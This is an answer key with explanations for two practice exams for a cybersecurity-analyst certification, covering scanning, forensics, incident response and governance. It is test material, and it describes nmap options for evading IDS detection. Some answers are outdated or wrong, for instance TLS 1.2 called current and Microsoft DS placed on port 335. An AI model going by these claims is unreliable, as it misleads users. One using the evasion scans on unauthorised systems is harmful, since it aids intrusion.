B. This is an example of an availability issue. If data had been modified, it would have been an integrity issue, while exposure of data would have been a confidentiality issue. Accountability from the outsourced vendor isn't discussed in the question.

D. The Technical Report will contain detailed information on a specific host and is designed for an engineer seeking to remediate the system. The PCI Technical Report would focus on credit card compliance issues, and there is no indication that this server is used for credit card processing. The Qualys Top 20 Report and Executive Report would contain summary information more appropriate for a management audience and would cover an entire network, rather than providing detailed information on a single system.

D. Jiang needs to perform additional diagnostics to determine the cause of the latency.

Unfortunately for Jiang, this chart does not provide enough information to determine why the maximum response time rises to high levels on a periodic basis. Since the events are not regularly timed, it is relatively unlikely that a scheduled task is causing the issue. Network cards do not have latency settings; latency is caused by network traffic, system response times, and similar factors. Increasing the speed of a network link may help with latency, but you do not have enough information to make that determination.

C. This image shows a SYN-based port scan. The traffic is primarily made up of TCP SYN packets to a variety of common ports, which is typical of a SYN-based port scan.

A. RADIUS sends passwords that are obfuscated by a shared secret and MD5 hash, meaning that its password security is not very strong. RADIUS traffic between the RADIUS network access server and the RADIUS server is typically encrypted using IPsec tunnels or other protections to protect the traffic. Kerberos and TACACS+ are alternative authentication protocols and are not required in addition to RADIUS. SSL is no longer considered secure and should not be used to secure the RADIUS tunnel.

B. The most likely cause of this slowness is an incorrect block size. Block size is set using the bs flag and is defined in bytes. By default, dd uses a 512-byte block size, but this is far smaller than the block size of most modern disks. Using a larger block size will typically be much faster, and if you know the block size for the device you are copying, using its native block size can provide huge speed increases. This is set using a flag like bs = 64k. The if and of flags adjust the input and output files, respectively, but there is no indication that these are erroneous. The count flag adjusts the number of blocks to copy and should not be changed if Jake wants to image the entire disk.

B. A honeypot is used by security researchers and practitioners to gather information about techniques and tools used by attackers. A honeypot will not prevent attackers from targeting other systems, and unlike a tarpit, it is not designed to slow down attackers. Typically, honeypot data must be analyzed to provide useful information that can be used to build IDS and IPS rules.

B. Advanced persistent threats (APTs) are highly skilled attackers with advanced capabilities who are typically focused on specific objectives. To accomplish those objectives, they often obtain and maintain long-term access to systems and networks using powerful tools that allow them to avoid detection and to stay ahead of responders who attempt to remove them.

B. Of these choices, the most useful metric would be the time required to resolve critical vulnerabilities. This is a metric that is entirely within the control of the vulnerability remediation program and demonstrates the responsiveness of remediation efforts and the time that a vulnerability was present. The number of vulnerabilities resolved and the number of new vulnerabilities each month are not good measures of the program's effectiveness because they depend on the number of systems and services covered by the scan and the nature of those services.

C. By default nmap scans 1,000 of the most common TCP ports. Mike only knows that the system he scanned had no reachable (open, filtered, or closed) TCP ports in that list.

D. Once they are connected via a write blocker, a checksum is created (often using MD5 or SHA1). If this hash matches the hash of forensic images, they exactly match, meaning that the drive's contents were not altered and that no files were added to or deleted from the drive.

C. Although BIOS infections are relatively rare, some malware does become resident in the system's firmware or BIOS. Once there, analysis of the hard drive will not show the infection. If the desktop support team at Ben's company has fully patched the system and no other systems are similarly infected, Ben's next step should be to validate that elements of the system he did not check before, such as the BIOS, are intact.

C. Wireshark includes the ability to export packets. In this case, Susan can select the GIF89a detail by clicking that packet and then export the actual image to a file that she can view.

C. The Lockheed Martin Cyber Kill Chain traces the steps used to conduct an attack. The Diamond Model and the MITRE ATT&CK model are used to classify attacks. STIX is a standard format for describing threats.

B. The Modbus protocol is used to interconnect SCADA systems. The CAN Bus standard is used in vehicle systems. RTOS is an acronym for real-time operating system and SoC is an acronym for System on a Chip. Neither RTOS nor SoC is a networking protocol.

C. Scanning the full range of TCP ports can be done using a SYN scan ( -sS) and declaring the full range of possible ports (1-65535). Service version identification is enabled with the -sV flag.

A. The software-as-a-service (SaaS) model requires the cloud service provider to secure the entire service stack. Other models provide customers with greater degrees of control and responsibility over security.

D. Dan does not need to take any action. This is a very low criticality vulnerability (1/5), and it is likely not exploitable from outside the datacenter. It is not necessary to remediate this vulnerability, and there is no indication that it is a false positive report. Overall, this is a very clean scan result for a VPN server.

C. This rule base contains a shadowed rule. The rule designed to deny requests to access blocked sites will never trigger because it is positioned below the rule that allows access to all sites. Reversing the order of the first two rules would correct this error. There are no orphaned rules because every rule in the rule base is designed to meet a security requirement. There are no promiscuous rules because the rules do not allow greater access than intended, they are simply in the wrong order.

C. All of the data sources listed in this question may provide Kwame with further information about the attack. However, firewall logs would be best positioned to answer his specific question about the source of the attack. Since the firewall is performing network address translation (NAT), it would likely have a log entry of the original (pre-NAT) source IP address of the traffic.

D. These results show the network path between Jim's system and the CompTIA web server. It is not unusual to see unknown devices in the path, represented by * * * because those devices may be configured to ignore traceroute requests. These query results do indicate that the network path passes through Chicago, but this does not mean that the final destination is in Chicago. There is no indication that the website is down. 216.182.225.74 is the system closest to Jim in this result, whereas 216.55.11.62 is the closest system to the remote server.

D. An uncredentialed scan provides far less information than a credentialed scan or an agent-based scan because both credentialed and agent-based scans are able to gather configuration information from the target systems. External scans also provide less information than internal scans because they are filtered by border firewalls and other security devices. Therefore, an uncredentialed external scan would provide the least information.

B. NIST SP800-88, along with many forensic manuals, requires a complete zero wipe of the drive but does not require multiple rounds of wiping. Degaussing is primarily used for magnetic media-like tapes and may not completely wipe a hard drive (and may, in fact, damage it). Using the ATA Secure Erase command is commonly used for SSDs.

B. NIST recommends that clock synchronization is performed for all devices to improve the ability of responders to conduct analysis, part of the detection and analysis phase of the NIST incident response process. Although this might occur in the preparation phase, it is intended to improve the analysis process.

A. Latisha knows that Windows domain services can be blocked using a network firewall. As long as she builds the correct ruleset, she can prevent external systems from sending this type of traffic to her Windows workstations. She may still want to segment her network to protect the most important workstations, but her first move should be to use her firewalls to prevent the traffic from reaching the workstations.

C. Luis's SNMP command requested the route table from the system called device1. This can be replicated on the local system using netstat -nr. The traceroute command provides information about the path between two systems. The route command could be used to get this information, but the command listed here adds a default gateway rather than querying current information. ping -r records the route taken to a site for a given number of tries (between 1 and 9).

D. When the Internet Engineering Task Force (IETF) endorsed SNMP v3.0 as a standard, it designated all earlier versions of SNMP as obsolete. Shannon should upgrade this device to SNMP v3.0.

B. The systems in the containment network are fully isolated from the rest of the network using logical controls that prevent any access. To work with the systems that he needs to access, Saanvi will need to either have firewall rules added to allow him remote access to the systems or physically work with them.

B. On Linux systems that use the Bash shell, $home/.bash_history will contain a log of recently performed actions. Each of the others was made up for this question.

D. Implementing firewall rules is an attempt to reduce the likelihood of a risk occurring. This is, therefore, an example of a risk mitigation strategy.

C. Task 3 strikes the best balance between criticality and difficulty. It allows Crystal to remediate a medium criticality issue with an investment of only 6 hours of time. Task 2 is higher criticality but would take 12 weeks to resolve. Task 1 is the same criticality but would require a full day to fix. Task 4 is lower criticality but would require the same amount of time to resolve as Task 1.

D. The use of a stolen cookie is the hallmark of a session hijacking attack. These attacks focus on taking over an already existing session, either by acquiring the session key or cookies used by the remote server to validate the session or by causing the session to pass through a system the attacker controls, allowing them to participate in the session.

C. Pete's organization is using an agent based, out-of-band NAC solution that relies on a locally installed agent to communicate to existing network infrastructure devices about the security state of his system. If Pete's organization used dedicated appliances, it would be an in-band solution, and of course not having an agent installed would make it agentless.

B. The registry contains autorun keys that are used to make programs run at startup. In addition, scheduled tasks, individual user startup folders, and DLLs placed in locations that will be run by programs (typically malicious DLLs) are all locations where files will automatically run at startup or user login.

B. The biggest issue in this scenario is that both factors are knowledge-based factors. A true multifactor system relies on more than one type of distinct factor including something you know, something you have, or something you are (and sometimes where you are). This system relies on two things you know, and attackers are likely to acquire both from the same location in a successful attack.

A. The order of volatility of data measures how easy the data is to lose. The Volatility Framework is a forensic tool aimed at memory forensics, while data transience and data loss prediction are not common terms.

C. Mika is using netcat to grab the default HTTP response from a remote server. Using netcat like this allows penetration testers to gather information quickly using scripts or manually when interaction may be required or tools are limited.

B. Playbooks contain specific procedures used during a particular type of cybersecurity incident. In this case, the playbook entry addresses malware command and control traffic validation. Creating a CSIRT or IR plan occurs at a higher level, and IR-FAQs is not a common industry term.

D. Kristen should upgrade the web server to the most current secure version of TLS: TLS 1.2. SSL 3.0 has vulnerabilities similar to those in TLS 1.0 and is not a suitable alternative. IPsec is not effective for web communications. Disabling the use of TLS would jeopardize the security of information sent to and from the server and would create additional risk, rather than remedying the situation.

C. Relatively few organizations run honeypots because of the effort required to maintain and analyze the data they generate. DNS queries and other traffic logs, threat intelligence feeds, and notifications from staff are all common information sources for a variety of types of incident detection.

D. Context-based authentication may leverage a wide variety of information. Potential attributes include time of day, location, device fingerprint, frequency of access, user roles, user group memberships, and IP address/reputation.

B. Application or token-based multifactor authentication ensures that the exposure of a password because of successful phishing email does not result in the compromise of the credential. Password complexity increases fail to add security since complex passwords can still be compromised by phishing attacks, biometric multifactor authentication is typically expensive to implement and requires enrollment, and OAuth-based single sign-on will not prevent phishing attacks; instead, it can make it easier for attackers to move between multiple services.

D. In an open redirect attack, users may be sent to a genuine authentication server and then redirected to an untrusted server through the OAuth flow. This occurs when the authentication server does not validate OAuth server requests prior to redirection.

B. Although packet capture can help Max document his penetration test and gather additional information about remote systems through packet analysis, as well as help troubleshoot connection and other network issues, sniffers aren't useful for scanning for vulnerabilities on their own.

D. Rich should not attempt to solve this problem on his own or dictate a specific solution. Instead, he should work with the business intelligence team to find a way to both meet their business requirements and accomplish the security goals achieved by scanning.

D. The Gramm–Leach–Bliley Act (GLBA) applies specifically to the security and privacy of information held by financial institutions. HIPAA applies to healthcare providers. PCI DSS applies to anyone involved in the processing of credit card transactions. This does include financial institutions but is not limited to those institutions as it also applies to merchants and service providers. Sarbanes–Oxley applies to all publicly traded corporations, which includes, but is not limited to, some financial institutions.

C. Policies that allow employees to bring personally owned devices onto corporate networks are known as Bring Your Own Device (BYOD) policies. Corporate-owned personally enabled (COPE) strategies allow employees to use corporate devices for personal use. SAFE is not a mobile device strategy.

B. Jamal knows that mounting forensic images in read-only mode is important. To prevent any issues with executable files, he has also set the mounted image to noexec. He has also taken advantage of the automatic filesystem type recognition built into the mount command and has set the device to be a loop device, allowing the files to be directly interacted with after mounting.

D. Blind SQL injection vulnerabilities are difficult to detect and are a notorious source of false positive reports. Javier should verify the results of the tests performed by the developers but should be open to the possibility that this is a false positive report, as that is the most likely scenario.

B. netcat is often used as a port scanner when a better port scanning tool is not available. The -z flag is the zero I/O mode and is used for scanning. Although -v is useful, it isn't required for scanning and won't provide a scan by itself. The -sS flag is used by nmap and not by netcat.

C. eFuse technology from IBM allows developers to send commands to computer chips that allow them to be permanently reprogrammed by “blowing” an eFuse.

A. During penetration tests, the red team members are the attackers, the blue team members are the defenders, and the white team establishes the rules of engagement and performance metrics for the test.

C. Lauren knows that the file she downloaded and computed a checksum for does not match the MD5 checksum that was calculated by the providers of the software. She does not know it the file is corrupted or if attackers have modified the file but may want to contact the providers of the software to let them know about the issue, and she definitely shouldn't execute or trust the file!

C. Microsoft announced the end of life for Internet Explorer and will no longer support it in the future. However, they still provide support for Internet Explorer 11, which is widely used. This is the only version of Internet Explorer currently considered secure.

D. Although it may be tempting to assign blame based on an IP address, attackers frequently use compromised systems for attacks. Some may also use cloud services and hosting companies where they can purchase virtual machines or other resources using stolen credit cards. Thus, knowing the IP address from which an attack originated will typically not provide information about an attacker. In some cases, deeper research can identify where an attack originated, but even then knowing the identity of an attacker is rarely certain.

B.  Auth.log will contain new user creations and group additions as well as other useful information with timestamps included. /etc/passwd does not include user creation dates or times. Checking file creation and modification times for user home directories and Bash sessions may be useful if the user has a user directory and auth.log has been wiped or is unavailable for some reason.

B. Completely removing the systems involved in the compromise will ensure that they cannot impact the organization's other production systems. Although attackers may be able to detect this change, it provides the best protection possible for the organization's systems.

C. Piper should deploy the patch in a sandbox environment and then thoroughly test it prior to releasing it in production. This reduces the risk that the patch will not work well in her environment. Simply asking the vendor or waiting 60 days may identify some issues, but it does not sufficiently reduce the risk because the patch will not have been tested in her company's environment.

C. The most likely scenario is that Kent ran the scan from a network that does not have access to the CRM server. Even if the server requires strong authentication and/or encryption, this would not prevent ports from appearing as open on the vulnerability scan. The CRM server runs over the web, as indicated in the scenario. Therefore, it is most likely using ports 80 and/or 443, which are part of the default settings of any vulnerability scanner.

D. nmap provides multiple scan modes, including a TCP SYN scan, denoted by the -sS flag. This is far stealthier than the full TCP connect scan, which uses the -sT flag. Turning off pings with the -P0 flag helps with stealth, and setting the scan speed using the -T flag to either a 0 for paranoid or a 1 for sneaky will help bypass many IDSs by falling below their detection threshold.

C. Disabling unnecessary services reduces the attack service by decreasing the number of possible attack vectors for gaining access to a server.

C. Of the criteria listed, the operating system installed on the systems is the least likely to have a significant impact on the likelihood and criticality of discovered vulnerabilities. All operating systems are susceptible to security issues.

A. In this case, the identity or network location of the server is not relevant. Donna is simply interested in the most critical vulnerability, so she should select the one with the highest severity. In vulnerability severity rating systems, severity 5 vulnerabilities are the most critical, and severity 1 are the least critical. Therefore, Donna should remediate the severity 5 vulnerability in the file server.

A. Policies are the highest-level component of an organization's governance documentation. They are set at the executive level and provide strategy and direction for the cybersecurity program. Standards and procedures derive their authority from policies. Frameworks are not governance documents but rather provide a conceptual structure for organizing a program. Frameworks are usually developed by third-party organizations, such as ISACA or ITIL.

A. Vulnerability scanning information is most effective in the hands of individuals who can correct the issues. The point of scans is not to “catch” people who made mistakes. Mateo should provide the administrators with access. The security team may always monitor the system for unremediated vulnerabilities, but they should not act as a gatekeeper to critical information.

C. SNMP v3 is the current version of SNMP and provides message integrity, authentication, and encryption capabilities. Mateo may still need to address how his organization configures SNMP, including what community strings they use. SNMP versions 1 and 2 do not include this capability, and version 4 doesn't exist.

A. All of these technologies promise to bring the benefits of automation to security work. However, only machine learning is capable of providing automated insight.

B. This vulnerability results in an information disclosure issue. Paul can easily correct it by disabling the directory listing permission on the cgi-bin directory. This is unlikely to affect any other use of the server because he is not altering permissions on the CGI scripts themselves. Blocking access to the web server and removing CGI from the server would also resolve the vulnerability but would likely have an undesirable business impact.

C. Observable occurrences are classified as events in NIST's scheme. Events with negative consequences are considered adverse events, while violations (or event imminent threats of violations) are classified as security incidents.

A. This is a valid DNS search result from dig. In this dig request, the DNS server located at 172.30.0.2 answered Mei's request and responded that the comptia.org server is located at 198.134.5.6.

C. The most likely issue is that an intrusion prevention system is detecting the scan as an attack and blocking the scanner. If this were a host or network firewall issue, Fran would most likely not be able to access the server using a web browser. It is less likely that the scan is misconfigured given that Fran double-checked the configuration.

Answers to Chapter 7: Practice Exam 2

C. The presence of this vulnerability does indicate a misconfiguration on the targeted server, but that is not the most significant concern that Ty should have. Rather, he should be alarmed that the domain security policy does not prevent this configuration and should know that many other systems on the network may be affected. This vulnerability is not an indicator of an active compromise and does not rise to the level of a critical flaw.

B. SNMP v1 through v2c all transmit data in the clear. Instead, Chris should move his SNMP monitoring infrastructure to use SNMP v3. Adding complexity requirements helps to prevent brute-force attacks against community strings, whereas TLS protects against data capture. Using different community strings based on security levels helps to ensure that a single compromised string can't impact all of the devices on a network.

C. This vulnerability has a low severity, but that could be dramatically increased if the management interface is exposed to external networks. If that were the case, it is possible that an attacker on a remote network would be able to eavesdrop on administrative connections and steal user credentials. Out-of-date antivirus definitions and missing security patches may also be severe vulnerabilities, but they do not increase the severity of this specific vulnerability. The lack of encryption is already known because of the nature of this vulnerability, so confirming that fact would not change the severity assessment.

B. Both ports 22 and 23 should be of concern to Rowan because they indicate that the network switch is accepting administrative connections from a general-use network. Instead, the switch should only accept administrative connections from a network management VLAN. Of these two results, port 23 should be of the greatest concern because it indicates that the switch is allowing unencrypted telnet connections that may be subject to eavesdropping. The results from ports 80 and 8192 to 8194 are of lesser concern because they are being filtered by a firewall.

B. All of the scenarios described here could result in failed vulnerability scans and are plausible on this network. However, the fact that the Apache logs do not show any denied requests indicates that the issue is not with an .htaccess file on the server. If this were the case, Evan would see evidence of it in the Apache logs.

C. The shim cache is used by Windows to track scripts and programs that need specialized compatibility settings. It is stored in the registry at shutdown, which means that a thorough registry cleanup will remove program references from it. The master file table (MFT), volume shadow copies, and prefetch files can all contain evidence of deleted applications.

D. Fuzz testing involves sending invalid or random data to an application to test its ability to handle unexpected data. Fault injection directly inserts faults into error-handling paths, particularly error-handling mechanisms that are rarely used or might otherwise be missed during normal testing. Mutation testing is related to fuzzing and fault injection, but rather than changing the inputs to the program or introducing faults to it, mutation testing makes small modifications to the program itself. Stress testing is a performance test that ensures applications and the systems that support them can stand up to the full production load.

C. Although TCP ports 21, 23, 80, and 443 are all common ports, 515 and 9100 are commonly associated with printers.

B. The netstat command is used to generate a list of open network connections on a system, such as the one shown here. traceroute is used to trace the network path between two hosts. ifconfig is used to display network configuration information on Linux and Mac systems. The sockets command does not exist.

C. NIST identifies four major categories of security event indicators: alerts, logs, publicly available information, and people both inside and outside the organization. Exploit developers may provide some information but are not a primary source of security event information.

D. A host that is not running any services or that has a firewall enabled that prevents responses can be invisible to nmap. Charles cannot determine whether there are hosts on this network segment and may want to use other means such as ARP queries, DHCP logs, and other network layer checks to determine whether there are systems on the network.

D. The business impact assessment (BIA) is an internal document used to identify and assess risks. It is unlikely to contain customer requirements. Service level agreements (SLAs), business partner agreements (BPAs), and memorandums of understanding (MOUs) are much more likely to contain this information.

C. Web servers commonly run on ports 80 (for HTTP) and 443 (for HTTPS). Database servers commonly run on ports 1433 (for Microsoft SQL Server), 1521 (for Oracle), or 3306 (for MySQL). Remote Desktop Protocol services commonly run on port 3389. Simple Mail Transfer Protocol (SMTP) runs on port 25. There is no evidence that SSH, which uses port 22, is running on this server.

C. You may not be familiar with Scalpel or other programs you encounter on the exam. In many cases, the problem itself will provide clues that can help you narrow down your answer. Here, pay close attention to the command-line flags, and note the -o flag, a common way to denote an output file. In practice, Scalpel automatically creates directories for each of the file types that it finds. Selah simply needs to visit those directories to review the files that she has recovered. She does not need to use another program. The filenames and directory structures may not be recoverable when carving files.

C. Trusted foundries are part of the Department of Defense's (DoD) program that ensures that hardware components are trustworthy and have not been compromised by malicious actors. A Trusted Platform Module (TPM) is a hardware security module, OEMs are original equipment manufacturers but may not necessarily have completed trusted hardware sources, and gray-market providers sell hardware outside of their normal or contractually allowed areas.

D. Resource exhaustion is a type of structural failure as defined by the NIST threat categories. It might be tempting to categorize this as accidental because Adam did not notice the alarms; however, accidental threats are specifically caused by individuals doing routine work who undermine security through their actions. In this case, the structural nature of the problem is the more important category.

B. Although all of these policies may contain information about data security, Pranab is specifically interested in grouping information into categories of similar sensitivity. This is the process of data classification. A data retention policy would contain information on the data life cycle. An encryption policy would describe what data must be encrypted and appropriate encryption techniques. A data disposal policy would contain information on properly destroying data at the end of its lifecycle.

A. The Windows equivalent to the Linux ifconfig command is ipconfig. netstat displays information about open network connections rather than network interface configuration. The ifconfig and netcfg commands do not exist on Windows.

B. The PHP language is used for the development of dynamic web applications. The presence of PHP on this server indicates that it is a web server. It may also be running database, time, or network management services, but the scan results provide no evidence of this.

C. The Common Vulnerability Scoring System (CVSS) provides a standardized method for rating the severity of security vulnerabilities.

B. The defining characteristic of threat hunting is that you are searching out compromises that have already occurred. Therefore, you are looking for indicators of compromise. Vulnerabilities, unpatched systems, and misconfigurations are all things that vulnerability management activities, rather than threat hunting activities, would seek to identify.

A. An internal network vulnerability scan will provide an insider's perspective on the server's vulnerabilities. It may provide useful information, but it will not meet Taylor's goal of determining what an external attacker would see.

A. FTP sends the username in a separate packet. Chris can determine that this was an FTP connection, that the password was gnome123, and that the FTP server was 137.30.120.40.

B. The spike shown just before July appears to be out of the norm for this network since it is almost four times higher than normal. Cynthia may want to check to see what occurred during that time frame to verify whether it was normal traffic for her organization.

A. Evidence production procedures describe how the organization will respond to subpoenas, court orders, and other legitimate requests to produce digital evidence. Monitoring procedures describe how the organization will perform security monitoring activities, including the possible use of continuous monitoring technology. Data classification procedures describe the processes to follow when implementing the organization's data classification policy. Patching procedures describe the frequency and process of applying patches to applications and systems under the organization's care.

D. This Windows system is likely running an unencrypted (plain-text) web server, as well as both the Microsoft RPC and Microsoft DS services on TCP 135 and 335, respectively. SSH would typically be associated with port 22, while email via SMTP is on TCP port 25.

B. The IT Infrastructure Library (ITIL) provides guidance on best practices for implementing IT service management, including help desk support. ISO provides high-level standards for a wide variety of business and manufacturing processes. COBIT provides control objectives for IT governance. PCI DSS provides security standards for handling credit card information.

D. Adding new signatures (prior to an incident) is part of the preparation phase because it prepares an organization to detect attacks.

D. For best results, Gloria should combine both internal and external vulnerability scans because this server has both public and private IP addresses. The external scan provides an “attacker's eye view” of the web server, while the internal scan may uncover vulnerabilities that would be exploitable only by an insider or an attacker who has gained access to another system on the network.

B. NIST SP-800-88 recommends clearing media and then validating and documenting that it was cleared. Clearing uses logical techniques to sanitize data in user-addressable storage locations and protects against noninvasive data recovery techniques. This level of security is appropriate to moderately sensitive data contained on media that will remain in an organization.

C. NIST recommends the usage of NTP to synchronize clocks throughout organizational infrastructure, thus allowing logs, alerts, and other data to be analyzed more easily during incident response. Manually setting clocks results in time skew, incorrect clocks, and other time-related problems.

A. TCP 135, 139, and 445 are all common Windows ports. The addition of 3389, the remote desktop port for Windows, makes it most likely that this is a Windows server.

D. Adam's Snort rule is looking for a specific behavior, in this case, web traffic to example.com's download script. Rules looking for anomalies typically require an understanding of “normal,” whereas trend-based rules need to track actions over time, and availability-based analysis monitors uptime.

C. Identity providers (IDPs) provide identities, make assertions about those identities to relying parties, and release information to relying parties about identity holders. Relying parties (RP), also known as service providers (SP), provide services to members of the federation and should handle the data from both users and identity providers securely. The consumer is the end user of the federated services.

B. Although all the techniques listed may be used to engage in credential theft, phishing is, by far, the most common way that user accounts become compromised in most organizations.

C. In most organizations, Emily's first action should be to verify that the system is not one that belongs to the organization by checking it against her organization's asset inventory. If the system is a compromised system on the wrong network, she or her team will need to address it. In most jurisdictions, there is no requirement to notify third parties or law enforcement of outbound scans, and since the guest wireless is specifically noted as being unauthenticated, there will not be authentication logs to check.

D. The strings command prints strings of printable characters in a file and does not show Linux permission information. The contents of the sudoers file, the output of the groups command, and the stat command can all provide useful information about user or file permissions.

C. The scenario describes a dual-control (or two-person control) arrangement, where two individuals must collaborate to perform an action. This is distinct from separation of duties, where access controls are configured to prevent a single individual from accomplishing two different actions that, when combined, represent a security issue. There is no indication that the company is performing privileged account monitoring or enforcing least privilege given in this scenario.

A. The PCI DSS compensating control procedures do not require that compensating controls have a clearly defined audit mechanism, although this is good security practice. They do require that the control meet the intent and rigor of the original requirement, provide a similar level of defense as the original requirement, and be above and beyond other requirements.

B. This error indicates that the digital certificate presented by the server is not valid. Lou should replace the certificate with a certificate from a trusted CA to correct the issue.

D. Data retention policies specify the appropriate lifecycle for different types of information. In this example, a data retention policy would likely have instructed the organization to dispose of the unneeded records, limiting the number that were compromised. A data ownership policy describes who bears responsibility for data and is less likely to have a direct impact on this incident. An acceptable use policy could limit the misuse of data by insiders, but there is no indication that this was an insider attack. An account management policy may be useful in pruning unused accounts and managing privileges, but there is no indicator that these issues contributed to the impact of this incident.

A. Incident data should be retained as necessary regardless of media life span. Retention is often driven by the likelihood of civil or criminal action, as well as by organizational standards.

D. An outage is an availability issue, data exposures are confidentiality issues, and the integrity of the email was compromised when it was changed.

B. The best way to resolve this issue would be to upgrade to OpenSSH 6.4, as stated in the solution section of the report. Disabling the use of AES-GCM is an acceptable workaround, but upgrading to a more current version of OpenSSH is likely to address additional security issues not described in this particular vulnerability report. There is no indication that an operating system upgrade would correct the problem. The vulnerability report states that there is no malware associated with this vulnerability, so antivirus signature updates would not correct it.

A. The firewall rules continue to allow access to the compromised systems, while preventing them from attacking other systems. This is an example of segmentation. Segmentation via VLANs, firewall rules, or other logical methods can help to protect other systems, while allowing continued live analysis.

C. Jennifer can use this information to help build her baseline for response times for the AWS server. A 200 ms response time for a remotely hosted server is well within a reasonable range. There is nothing in this chart that indicates an issue.

A. Scalpel is a carving tool designed to identify files in a partition or volume that is missing its index or file allocation table. DBAN is a wiping tool, parted is a partition editor, and dd is used for disk duplication. You may encounter questions about programs you are unfamiliar with on the exam. Here, you can eliminate tools that you are familiar with like DBAN, parted, or dd and take a reasonable guess based on that knowledge.

A. Pranab's best option is to look for a hibernation file or core dump that may contain evidence of the memory-resident malware. Once a system has been shut down, a memory-resident malware package will be gone until the system is re-infected, making reviews of the registry, INDX files, and volume shadow copies unlikely to be useful. Since the system was shut down, he won't get useful memory forensics from a tool like the Volatility Framework unless the machine is re-infected.

A. The <SCRIPT> tag is used to mark the beginning of a code element, and its use is indicative of a cross-site scripting attack. <XSS> is not a valid HTML tag. The <B> (for bold text) and <EM> (for italics) tags are commonly found in normal HTML input.

C. An intrusion prevention system (or other device or software with similar capabilities) to block port scans based on behavior is the most effective method listed. Not registering systems in DNS won't stop IP-based scans, and port scans will still succeed on the ports that firewalls allow through. Port security is a network switch–based technology designed to limit which systems can use a physical network port.

B. NIST's functional impact categories range from none to high, but this event fits the description for a medium event; the organization has lost the ability to provide a critical service to a subset of system users. If the entire network had gone down, Pranab would have rated the event as a high-impact event, whereas if a single switch or the network had a slowdown, he would have categorized it as low.

B. Operating system fingerprinting relies on the differences between how each operating system (and sometimes OS versions) handles and sets various TCP/IP fields, including initial packet size, initial TTL, window size, maximum segment size, and the don't fragment, sackOK, and nop flags.

C. Although any of these tools may provide some security automation capability, the purpose of a security orchestration, automation, and response (SOAR) platform is to perform this type of automation across other solutions.

D. The order of volatility of common storage locations is as follows:

CPU cache, registers, running processes, and RAM

Network traffic

Disk drives (both spinning and magnetic)

Backups, printouts, and optical media (including DVD-ROMs and CDs)

Thus, the least volatile storage listed is the DVD-ROM.

A. This vulnerability states that there is a missing patch to the Windows operating system. In a bare-metal hypervisor, the only place that Windows could be running is as a guest operating system. Therefore, this is the location where Henry must apply a patch. The results also show the use of unsupported guest operating systems, which is also a guest operating system issue.

C. The hallmark of a Tier 3 risk management program is that there is an organization-wide approach to managing cybersecurity risk. In a Tier 4 program, there is an organization-wide approach to managing cybersecurity risk that uses risk-informed policies, processes, and procedures to address potential cybersecurity events.

D. The repeated SYN packets are likely a SYN flood that attempts to use up resources on the target system. A failed three-way handshake might initially appear similar but will typically not show this volume of attempts. A link failure would not show traffic from a remote system, and a DDoS would involve more than one system sending traffic.

D. Oracle databases default to TCP port 1521. Traffic from the “outside” system is being denied when it attempts to access an internal system via that port.

D. The ATA Secure Erase command wipes all of an SSD, including host-protected area partitions and remapped spare blocks. Degaussing is used for magnetic media such as tapes and is not effective on SSDs, whereas zero writing or using a pseudorandom number generator to fill the drive will not overwrite data in the host-protected area or spare blocks, which are used to wear-level most SSDs.

D. Data classification is a set of labels applied to information based upon their degree of sensitivity and/or criticality. It would be the most appropriate choice in this scenario. Data retention requirements dictate the length of time that an organization should maintain copies of records. Data remanence is an issue where information thought to be deleted may still exist on systems. Data privacy may contribute to data classification but does not encompass the entire field of data sensitivity and criticality in the same manner as data classification. For example, a system may process proprietary business information that would be very highly classified and require frequent vulnerability scanning. Unless that system also processed personally identifiable information, it would not trigger scans under a system based solely upon data privacy.

D. The output that Bob sees is from a password-cracking tool. He can tell this by reading the header and realizing that the file contains unhashed passwords. Of the tools listed, only Cain & Abel and John the Ripper are password-cracking utilities. Metasploit is an exploitation framework, whereas ftk is a forensics toolkit. Cain & Abel is a Windows-based tool, and this appears to be command-line output. Therefore, the output is from John the Ripper, a command-line password-cracking utility available for all major platforms.

B. During a security exercise, the red team is responsible for offensive operations, while the blue team handles defensive operations. The white team serves as the referees. There is no black team.

B. PCI DSS only requires scanning on at least a quarterly basis and after any significant changes. Weekly scanning is a best practice but is not required by the standard. Peter must hire an approved scanning vendor to perform the required quarterly external scans but may conduct the internal scans himself. All systems in the cardholder data environment, including both the website and point-of-sale terminals, must be scanned.

A. The vulnerability description mentions that this is a cross-site scripting (XSS) vulnerability. Normally, XSS vulnerabilities are resolved by performing proper input validation in the web application code. However, in this particular case, the XSS vulnerability exists within Microsoft IIS server itself and not in a web application. Therefore, it requires a patch from Microsoft to correct it.

C. Fast-flux DNS networks use many IP addresses behind one (or a few) fully qualified domain names. Logging DNS server queries and reviewing them for hosts that look up the DNS entries associated with the command-and-control network can quickly identify compromised systems.

Unfortunately, antivirus software is typically not updated quickly enough to immediately detect new malware. Since the fast-flux DNS command-and-control relies on frequent changes to the C&C hosts, IP addresses change quickly, making them an unreliable detection method. Finally, reviewing email to see who received the malware-laden message is useful but won't indicate whether the malware was successful in infecting a system without additional data.

A. The -O flag enables operating system detection for nmap.

A. Mika is using both a knowledge-based factor in the form of her password and something she has in the form of the token. Possession of the token is the “something she has.”

B. The most appropriate step for Jose to take is to discuss his opinion with his manager and see whether the manager is willing to change the guidelines. As a security professional, it is Jose's ethical responsibility to share his opinion with his manager. It would not be appropriate for Jose to act against his manager's wishes. Jose should also not ask to speak with his manager's supervisor until he has had an opportunity to discuss the issue thoroughly with his manager.

A. Susan's best option is to use an automated testing sandbox that analyzes the applications for malicious or questionable behavior. While this may not catch every instance of malicious software, the only other viable option is decompiling the applications and analyzing the code, which would be incredibly time-consuming. Since she doesn't have the source code, Fagan inspection won't work (and would take a long time too), and running a honeypot is used to understand hacker techniques, not to directly analyze application code.

B. The single loss expectancy (SLE) is the amount of damage expected from a single occurrence of an incident. The annualized loss expectancy (ALE) is the amount of loss expected from a risk during a given year. The exposure factor (EF) is the percentage of an asset that is expected to be damaged during an incident, and the asset value (AV) is the total value of the asset in question.

C. A data loss prevention (DLP) system may be able to intercept and block unencrypted sensitive information leaving the web server, but it does not apply cryptography to web communications. Transport Layer Security (TLS) is the most direct approach to meeting Chris' requirement, because it encrypts all communication to and from the web server. Virtual private networks (VPNs) may also be used to encrypt network traffic, adding a layer of security. Full-disk encryption (FDE) may also be used to protect information stored on the server in the event the disk is stolen.

C. Network Access Control (NAC) can combine user or system authentication with client-based or clientless configuration and profiling capabilities to ensure that systems are properly patched and configured and are in a desired security state. Whitelisting is used to allow specific systems or applications to work, port security is a MAC address filtering capability, and EAP is an authentication protocol.

